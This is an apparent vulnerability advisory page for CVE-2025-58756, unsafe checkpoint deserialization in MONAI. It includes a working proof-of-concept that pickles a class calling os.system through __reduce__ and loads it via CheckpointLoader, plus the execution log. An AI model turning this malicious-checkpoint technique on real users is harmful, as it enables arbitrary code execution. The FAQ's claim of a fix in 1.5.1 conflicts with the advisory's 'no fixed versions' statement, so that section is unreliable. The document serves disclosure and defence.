CVE-2025-58756: MONAI's unsafe torch usage may lead to arbitrary code execution

Published Sep 8, 2025
·
Updated

Summary In modeldict = torch.load(fullpath, maplocation=torch.device(device), weightsonly=True) in monai/bundle/scripts.py , weightsonly=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.

import os import tempfile import json import torch from pathlib import Path class MaliciousPayload: def reduce(self): return (os.system, ('touch /tmp/hacker2.txt',)) def testcheckpointloaderattack():

tempdir = Path(tempfile.mkdtemp()) checkpointfile = tempdir / "maliciouscheckpoint.pt"

maliciouscheckpoint = { 'modelstatedict': MaliciousPayload(), 'optimizerstatedict': {}, 'epoch': 100 }

torch.save(maliciouscheckpoint, checkpointfile) from monai.handlers import CheckpointLoader import torch.nn as nn model = nn.Linear(10, 1) loader = CheckpointLoader( loadpath=str(checkpointfile), loaddict={"model": model} ) class MockEngine: def init(self): self.state = type('State', (), {})() self.state.maxepochs = None self.state.epoch = 0 engine = MockEngine() loader(engine) prooffile = "/tmp/hacker2.txt" if os.path.exists(prooffile): print("Succes") #os.remove(prooffile) return True else: print("False") return False if name == "main": success = testcheckpointloaderattack()

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log checkpointpwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py Traceback (most recent call last): File "/root/autodl-tmp/mmm/p2.py", line 61, in <module> success = testcheckpointloaderattack() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/autodl-tmp/mmm/p2.py", line 48, in testcheckpointloaderattack loader(engine) ^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpointloader.py", line 146, in call Checkpoint.loadobjects(toload=self.loaddict, checkpoint=checkpoint, strict=self.strict) File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in loadobjects treeapply2(loadobject, toload, checkpointobj) File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in treeapply2 treeapply2(func, CollectionItem.wrap(x, k, v), y[k]) File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in treeapply2 return func(x, y) ^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in loadobject obj.loadstatedict(chkptobj, kwargs) File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in loadstatedict raise RuntimeError( RuntimeError: Error(s) in loading statedict for Linear: Missing key(s) in statedict: "weight", "bias". Unexpected key(s) in statedict: "modelstatedict", "optimizerstatedict", "epoch". root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log checkpointpwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa

Impact Leading to arbitrary command execution Fix suggestion Use a safe method to load, or force weightsonly=True

Other sources

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, in modeldict = torch.load(fullpath, maplocation=torch.device(device), weightsonly=True) in monai/bundle/scripts.py , weightsonly=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from other platforms. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. As of time of publication, no known fixed versions are available.

MITRE

Affected Software

3 affected components
MONAI MONAI<=1.5.0
pip/monai<=1.5.0
MONAI Medical Open Network for AI<=1.5.0

Event History

Sep 8, 2025
CVE Published
via MITRE·11:39 PM
Data Sourced
via MITRE·11:39 PM
DescriptionSeverityWeakness
Sep 9, 2025
Data Sourced
via NVD·12:15 AM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·09:19 PM
Data Sourced
via GitHub·09:19 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-58756?

CVE-2025-58756 is classified as a critical vulnerability due to its potential impact on AI model security in medical applications.

2

How do I fix CVE-2025-58756?

To mitigate CVE-2025-58756, update MONAI to version 1.5.1 or later where the vulnerability is patched.

3

What are the risks of exploiting CVE-2025-58756?

Exploiting CVE-2025-58756 can lead to unauthorized access to sensitive medical AI models and data.

4

Which versions of MONAI are affected by CVE-2025-58756?

CVE-2025-58756 affects MONAI versions up to and including 1.5.0.

5

What does CVE-2025-58756 expose in MONAI?

CVE-2025-58756 exposes a security flaw in the loading of model weights that can compromise the integrity of AI models.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203